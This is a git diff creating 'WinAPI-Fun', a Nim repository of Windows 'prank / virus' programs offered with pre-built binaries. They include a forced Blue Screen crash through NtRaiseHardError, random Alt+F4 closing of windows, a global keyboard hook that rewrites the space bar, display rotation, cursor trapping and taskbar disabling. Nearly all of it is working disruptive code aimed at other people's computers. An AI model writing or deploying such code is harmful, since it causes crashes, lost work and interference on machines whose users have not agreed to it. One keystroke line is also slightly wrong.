diff --git a/README.md b/README.md
old mode 100644
new mode 100755
index 1c42daf..7ec7287
--- a/README.md
+++ b/README.md
@@ -1,4 +1,44 @@
-# StopShutdown
-A small proof of concept that temporarily prevents a shutdown
+# WinAPI-Fun
+> A collection of (relatively) harmless prank / virus examples using the Windows API
-This really small program is handy if you have pesky friends / coworkers that think its funny to shutoff your computer while you are working. I had a problem with this in one of my classes, so I created an easy solution.
+
+
+Pre-built binaries can be found in the [Releases](../../releases) section
+
+To reset most examples, re-launch and kill the program again
+
+
+
+| File | Description |
+| -------------------------------------------------- | --------------------------------------------------------------------- |
+| [avoid.nim](src/avoid.nim) | The start button avoids mouse clicks by jumping around on the taskbar |
+| [bsod.nim](src/bsod.nim) | Triggers Blue Screen of Death |
+| [dripper.nim](src/dripper.nim) | Moves the current window down slightly every 10 seconds |
+| [highcontrast.nim](src/highcontrast.nim) | Enable high contrast mode system-wide |
+| [intercept_space.nim](src/intercept_space.nim) | Replaces space bar keypress with the word "space" |
+| [mouse_button_swap.nim](src/mouse_button_swap.nim) | Swap the left and right mouse buttons |
+| [mouse_trails.nim](src/mouse_trails.nim) | Creates a trail of mouse icons behind the cursor as it moves |
+| [mouse_trap.nim](src/mouse_trap.nim) | Traps the mouse cursor in the top right corner for 60 seconds |
+| [random_capslock.nim](src/random_capslock.nim) | Randomly toggle the Caps Lock every 0-30 seconds |
+| [random_close.nim](src/random_close.nim) | Randomly closes the current focussed window every 0-30 seconds |
+| [rotate.nim](src/rotate.nim) | Rotates the display 180 degrees |
+| [shake.nim](src/shake.nim) | Rapidly shakes the current focussed window |
+| [start_disable.nim](src/start_disable.nim) | Disables clicking the start button or taskbar |
+| [start_popup.nim](src/start_popup.nim) | Opens the start menu popup randomly every 0-60 seconds |
+| [stop_shutdown.nim](src/stop_shutdown.nim) | Temporarily prevents a shutdown with a custom message |
+| [time_local.nim](src/time_local.nim) | Adds the message "HI" to the AM/PM localization string system-wide |
+
+
+
+## Requirements
+[Install Nim](https://nim-lang.org/install_unix.html) and the [Winim](https://github.com/khchen/winim) library, then compile with the `--app:gui` flag
+
+Note: if cross-compiling from Linux or macOS, also install the [mingw](https://www.mingw-w64.org/) toolchain and use the `-d:mingw` flag
+
+```sh
+nim c -d:mingw --app:gui src/avoid.nim
+```
+
+
+
+### USE AT YOUR OWN RISK
\ No newline at end of file
diff --git a/src/avoid.nim b/src/avoid.nim
new file mode 100755
index 0000000..f85f575
--- /dev/null
+++ b/src/avoid.nim
@@ -0,0 +1,45 @@
+import std/random
+import winim
+
+
+let hWndTaskBar = FindWindow("Shell_TrayWnd", NULL);
+let hWndStart = FindWindowEx(hWndTaskBar, 0x0, "Start", "Start");
+
+var cursor: POINT
+GetCursorPos(&cursor)
+
+var rectTaskBar: RECT
+GetWindowRect(hWndTaskBar, &rectTaskBar)
+
+var rectStart: RECT
+GetWindowRect(hWndStart, &rectStart)
+
+# Reset Start Button Position
+SetWindowPos(hWndStart, 0x0, 0, 0, 0, 0, (SWP_NOSIZE or SWP_NOZORDER))
+
+var upperBound = rectTaskBar.right - rectStart.right;
+
+
+# Run callback everytime mouse is moved
+proc HookCallback(nCode: int32, wParam: WPARAM, lParam: LPARAM): LRESULT {.stdcall.} =
+ GetCursorPos(&cursor)
+
+ if cursor.x >= rectStart.left and cursor.x <= rectStart.right and cursor.y >= rectStart.top:
+ var newX = rand(upperBound)
+ SetWindowPos(hWndStart, 0x0, (int32)newX, 0, 0, 0, (SWP_NOSIZE or SWP_NOZORDER))
+ GetWindowRect(hWndStart, &rectStart)
+
+ return CallNextHookEx(0, nCode, wParam, lParam)
+
+
+# Hook LowLevelMouseProc
+var hook = SetWindowsHookEx(WH_MOUSE_LL, (HOOKPROC) HookCallback, 0, 0)
+if bool(hook):
+ try:
+ PostMessage(0, 0, 0, 0)
+ var msg: MSG
+ while GetMessage(msg.addr, 0, 0, 0):
+ discard
+
+ finally:
+ UnhookWindowsHookEx(hook)
diff --git a/src/bsod.nim b/src/bsod.nim
new file mode 100755
index 0000000..68a7e13
--- /dev/null
+++ b/src/bsod.nim
@@ -0,0 +1,17 @@
+import winim
+
+
+proc RtlAdjustPrivilege*(privilege: ULONG, bEnablePrivilege: BOOLEAN, isThreadPrivilege: BOOLEAN, previousValue: PBOOLEAN): NTSTATUS
+ {.discardable, stdcall, dynlib: "ntdll", importc: "RtlAdjustPrivilege".}
+
+proc NtRaiseHardError*(errorStatus: NTSTATUS, numberOfParameters: ULONG, unicodeStringParameterMask: ULONG, parameters: PULONG_PTR, validResponseOption: ULONG, response: PULONG): NTSTATUS
+ {.discardable, stdcall, dynlib: "ntdll", importc: "NtRaiseHardError".}
+
+var
+ prev: BOOLEAN
+ response: ULONG
+
+# SE_SHUTDOWN_PRIVILEGE = 19
+discard RtlAdjustPrivilege(19, TRUE, FALSE, &prev)
+
+discard NtRaiseHardError(STATUS_ASSERTION_FAILURE, 0, 0, NULL, 6, &response);
\ No newline at end of file
diff --git a/src/dripper.nim b/src/dripper.nim
new file mode 100755
index 0000000..80b2dfc
--- /dev/null
+++ b/src/dripper.nim
@@ -0,0 +1,12 @@
+import os
+import winim
+
+
+var windowCoords: RECT
+
+while true:
+ var hWnd = GetForegroundWindow()
+ GetWindowRect(hWnd, &windowCoords)
+
+ SetWindowPos(hWnd, 0x0, windowCoords.left, windowCoords.top + 2, 0, 0, (SWP_NOSIZE or SWP_NOZORDER))
+ sleep(10000)
\ No newline at end of file
diff --git a/src/highcontrast.nim b/src/highcontrast.nim
new file mode 100755
index 0000000..673311c
--- /dev/null
+++ b/src/highcontrast.nim
@@ -0,0 +1,11 @@
+import winim
+
+
+var contrast: HIGHCONTRASTA
+contrast.cbSize = (int32)sizeof(HIGHCONTRASTA)
+
+SystemParametersInfoA(SPI_GETHIGHCONTRAST, (int32)sizeof(HIGHCONTRASTA), &contrast, 0)
+
+contrast.dwFlags = contrast.dwFlags xor HCF_HIGHCONTRASTON
+
+SystemParametersInfoA(SPI_SETHIGHCONTRAST, (int32)sizeof(HIGHCONTRASTA), &contrast, 0)
\ No newline at end of file
diff --git a/src/intercept_space.nim b/src/intercept_space.nim
new file mode 100755
index 0000000..9210d98
--- /dev/null
+++ b/src/intercept_space.nim
@@ -0,0 +1,83 @@
+import winim
+
+
+type
+ SendKeys = array[12, INPUT]
+
+proc SendSpace() =
+ var inputs: SendKeys
+
+ # Hold shift for caps
+ inputs[0].type = INPUT_KEYBOARD
+ inputs[0].ki.wVk = VK_SHIFT
+
+ # S key
+ inputs[1].type = INPUT_KEYBOARD
+ inputs[1].ki.wVk = 0x53
+ inputs[2].type = INPUT_KEYBOARD
+ inputs[2].ki.wVk = 0x53
+ inputs[2].ki.dwFlags = KEYEVENTF_KEYUP
+
+ # P key
+ inputs[3].type = INPUT_KEYBOARD
+ inputs[3].ki.wVk = 0x50
+ inputs[4].type = INPUT_KEYBOARD
+ inputs[4].ki.wVk = 0x50
+ inputs[4].ki.dwFlags = KEYEVENTF_KEYUP
+
+ # A key
+ inputs[5].type = INPUT_KEYBOARD
+ inputs[5].ki.wVk = 0x41
+ inputs[6].type = INPUT_KEYBOARD
+ inputs[6].ki.wVk = 0x41
+ inputs[6].ki.dwFlags = KEYEVENTF_KEYUP
+
+ # C key
+ inputs[7].type = INPUT_KEYBOARD
+ inputs[7].ki.wVk = 0x43
+ inputs[8].type = INPUT_KEYBOARD
+ inputs[8].ki.wVk = 0x43
+ inputs[8].ki.dwFlags = KEYEVENTF_KEYUP
+
+ # E key
+ inputs[9].type = INPUT_KEYBOARD
+ inputs[9].ki.wVk = 0x45
+ inputs[10].type = INPUT_KEYBOARD
+ inputs[10].ki.wVk = 0x43
+ inputs[10].ki.dwFlags = KEYEVENTF_KEYUP
+
+ # Release shift key
+ inputs[11].type = INPUT_KEYBOARD
+ inputs[11].ki.wVk = VK_SHIFT
+ inputs[11].ki.dwFlags = KEYEVENTF_KEYUP
+
+ SendInput((UINT)len(inputs), &inputs[0], (int32)sizeof(INPUT));
+
+
+# Run callback everytime key is pressed
+proc HookCallback(nCode: int32, wParam: WPARAM, lParam: LPARAM): LRESULT {.stdcall.} =
+
+ if (bool(lParam)):
+ var kbd: PKBDLLHOOKSTRUCT = cast[ptr KBDLLHOOKSTRUCT](lparam)
+
+ if (kbd.vkCode == VK_SPACE):
+ if (wParam == WM_KEYDOWN):
+ SendSpace()
+ return 1
+ elif (wParam == WM_KEYUP):
+ return 1
+
+ return CallNextHookEx(0, nCode, wParam, lParam)
+
+
+# Hook LowLevelKeyboardProc
+var hook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC) HookCallback, 0, 0)
+if bool(hook):
+ try:
+ PostMessage(0, 0, 0, 0)
+ var msg: MSG
+ while GetMessage(msg.addr, 0, 0, 0):
+ discard
+
+ finally:
+ UnhookWindowsHookEx(hook)
diff --git a/src/mouse_button_swap.nim b/src/mouse_button_swap.nim
new file mode 100755
index 0000000..589c7f4
--- /dev/null
+++ b/src/mouse_button_swap.nim
@@ -0,0 +1,5 @@
+import winim
+
+# If buttons were already swapped, return back to normal
+if (SwapMouseButton(TRUE)):
+ SwapMouseButton(FALSE)
diff --git a/src/mouse_trails.nim b/src/mouse_trails.nim
new file mode 100755
index 0000000..1456118
--- /dev/null
+++ b/src/mouse_trails.nim
@@ -0,0 +1,13 @@
+import std/random
+import winim
+
+
+var trails: int32
+SystemParametersInfoA(SPI_GETMOUSETRAILS, 0, &trails, 0)
+
+if (trails < 2):
+ trails = (int32)rand(2..9)
+else:
+ trails = 0
+
+SystemParametersInfoA(SPI_SETMOUSETRAILS, trails, NULL, 0)
\ No newline at end of file
diff --git a/src/mouse_trap.nim b/src/mouse_trap.nim
new file mode 100755
index 0000000..013bb09
--- /dev/null
+++ b/src/mouse_trap.nim
@@ -0,0 +1,10 @@
+import std/os
+import winim
+
+
+var rect: RECT
+SetRect(&rect, 0, 0, 100, 100);
+
+ClipCursor(&rect);
+sleep(60000)
+ClipCursor(NULL);
\ No newline at end of file
diff --git a/src/random_capslock.nim b/src/random_capslock.nim
new file mode 100755
index 0000000..aa4ace4
--- /dev/null
+++ b/src/random_capslock.nim
@@ -0,0 +1,23 @@
+import std/os
+import std/random
+import winim
+
+
+type
+ SendKeys = array[2, INPUT]
+
+var inputs: SendKeys
+
+# Key Down event
+inputs[0].type = INPUT_KEYBOARD
+inputs[0].ki.wVk = VK_CAPITAL
+
+# Key Up event
+inputs[1].type = INPUT_KEYBOARD
+inputs[1].ki.wVk = VK_CAPITAL
+inputs[1].ki.dwFlags = KEYEVENTF_KEYUP
+
+# Send keypress randomly
+while true:
+ SendInput((UINT)len(inputs), &inputs[0], (int32)sizeof(INPUT));
+ sleep(rand(30000))
\ No newline at end of file
diff --git a/src/random_close.nim b/src/random_close.nim
new file mode 100755
index 0000000..c22ad97
--- /dev/null
+++ b/src/random_close.nim
@@ -0,0 +1,28 @@
+import std/os
+import std/random
+import winim
+
+
+type
+ SendKeys = array[4, INPUT]
+
+var inputs: SendKeys
+
+inputs[0].type = INPUT_KEYBOARD
+inputs[0].ki.wVk = VK_MENU
+
+inputs[1].type = INPUT_KEYBOARD
+inputs[1].ki.wVk = VK_F4
+
+inputs[2].type = INPUT_KEYBOARD
+inputs[2].ki.wVk = VK_F4
+inputs[2].ki.dwFlags = KEYEVENTF_KEYUP
+
+inputs[3].type = INPUT_KEYBOARD
+inputs[3].ki.wVk = VK_MENU
+inputs[3].ki.dwFlags = KEYEVENTF_KEYUP
+
+# Send keypress randomly
+while true:
+ SendInput((UINT)len(inputs), &inputs[0], (int32)sizeof(INPUT));
+ sleep(rand(30000))
\ No newline at end of file
diff --git a/src/rotate.nim b/src/rotate.nim
new file mode 100755
index 0000000..9f4d39d
--- /dev/null
+++ b/src/rotate.nim
@@ -0,0 +1,12 @@
+import winim
+
+
+var dm: DEVMODE
+EnumDisplaySettings(NULL, ENUM_CURRENT_SETTINGS, &dm)
+
+if (dm.dmDisplayOrientation == DMDO_DEFAULT):
+ dm.dmDisplayOrientation = DMDO_180
+else:
+ dm.dmDisplayOrientation = DMDO_DEFAULT
+
+ChangeDisplaySettings(&dm, 0)
\ No newline at end of file
diff --git a/src/shake.nim b/src/shake.nim
new file mode 100755
index 0000000..5338ff3
--- /dev/null
+++ b/src/shake.nim
@@ -0,0 +1,22 @@
+import os
+import std/random
+import winim
+
+
+var hWndOrig = GetForegroundWindow()
+var windowCoords: RECT
+GetWindowRect(hWndOrig, &windowCoords)
+
+while true:
+ var hWndNew = GetForegroundWindow()
+
+ if (hWndNew != hWndOrig):
+ hWndOrig = hWndNew
+ GetWindowRect(hWndOrig, &windowCoords)
+
+ var
+ newX = rand(windowCoords.left - 3 .. windowCoords.left + 3)
+ newY = rand(windowCoords.top - 3 .. windowCoords.top + 3)
+
+ SetWindowPos(hWndOrig, 0x0, (int32)newX, (int32)newY, 0, 0, (SWP_NOSIZE or SWP_NOZORDER))
+ sleep(10)
\ No newline at end of file
diff --git a/src/start_disable.nim b/src/start_disable.nim
new file mode 100755
index 0000000..c9bbccf
--- /dev/null
+++ b/src/start_disable.nim
@@ -0,0 +1,10 @@
+import winim
+
+
+let hWndTaskBar = FindWindow("Shell_TrayWnd", NULL);
+let hWndStart = FindWindowEx(hWndTaskBar, 0x0, "Start", "Start");
+
+# If the windows are already disabled, re-enable them
+if (EnableWindow(hWndStart, FALSE) or EnableWindow(hWndTaskBar, FALSE)):
+ EnableWindow(hWndStart, TRUE)
+ EnableWindow(hWndTaskBar, TRUE)
\ No newline at end of file
diff --git a/src/start_popup.nim b/src/start_popup.nim
new file mode 100755
index 0000000..803be99
--- /dev/null
+++ b/src/start_popup.nim
@@ -0,0 +1,22 @@
+import std/os
+import winim
+
+
+type
+ SendKeys = array[2, INPUT]
+
+var inputs: SendKeys
+
+# Key Down event
+inputs[0].type = INPUT_KEYBOARD
+inputs[0].ki.wVk = VK_LWIN
+
+# Key Up event
+inputs[1].type = INPUT_KEYBOARD
+inputs[1].ki.wVk = VK_LWIN
+inputs[1].ki.dwFlags = KEYEVENTF_KEYUP
+
+# Send input every 60 seconds
+while true:
+ SendInput((UINT)len(inputs), &inputs[0], (int32)sizeof(INPUT));
+ sleep(60000)
\ No newline at end of file
diff --git a/src/stop_shutdown.nim b/src/stop_shutdown.nim
new file mode 100755
index 0000000..1a3e263
--- /dev/null
+++ b/src/stop_shutdown.nim
@@ -0,0 +1,44 @@
+import winim
+
+
+var
+ hInstance = GetModuleHandle(nil)
+ hwnd: HWND
+ msg: MSG
+ wndclass: WNDCLASS
+
+
+# Handle Message Pump
+proc WindowProc(hwnd: HWND, message: UINT, wParam: WPARAM, lParam: LPARAM): LRESULT {.stdcall.} =
+ case message
+ of WM_DESTROY:
+ PostQuitMessage(0)
+ return 0
+
+ of WM_CLOSE, WM_QUERYENDSESSION:
+ return 0
+
+ else:
+ return DefWindowProc(hwnd, message, wParam, lParam)
+
+
+# Boilerplate to create window
+wndclass.style = CS_HREDRAW or CS_VREDRAW
+wndclass.lpfnWndProc = WindowProc
+wndclass.cbClsExtra = 0
+wndclass.cbWndExtra = 0
+wndclass.hInstance = hInstance
+wndclass.hIcon = LoadIcon(0, IDI_APPLICATION)
+wndclass.hCursor = LoadCursor(0, IDC_ARROW)
+wndclass.hbrBackground = GetStockObject(WHITE_BRUSH)
+wndclass.lpszMenuName = nil
+wndclass.lpszClassName = "StopShutdown"
+RegisterClass(wndclass)
+
+hwnd = CreateWindow("StopShutdown", "Stop Shutdown", WS_MINIMIZE, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, 0, 0, hInstance, nil)
+
+ShutdownBlockReasonCreate(hwnd, "Nice Try")
+
+while GetMessage(msg, 0, 0, 0) != 0:
+ TranslateMessage(msg)
+ DispatchMessage(msg)
\ No newline at end of file
diff --git a/src/time_local.nim b/src/time_local.nim
new file mode 100755
index 0000000..0fc9803
--- /dev/null
+++ b/src/time_local.nim
@@ -0,0 +1,15 @@
+import std/registry
+
+
+var
+ hkcuHandle = registry.HKEY_CURRENT_USER
+ amLocal = getUnicodeValue("Control Panel\\International", "s1159", hkcuHandle)
+ pmLocal = getUnicodeValue("Control Panel\\International", "s2359", hkcuHandle)
+
+
+if (amLocal == "AM" and pmLocal == "PM"):
+ setUnicodeValue("Control Panel\\International", "s1159", "AM HI", hkcuHandle)
+ setUnicodeValue("Control Panel\\International", "s2359", "PM HI", hkcuHandle)
+else:
+ setUnicodeValue("Control Panel\\International", "s1159", "AM", hkcuHandle)
+ setUnicodeValue("Control Panel\\International", "s2359", "PM", hkcuHandle)
\ No newline at end of file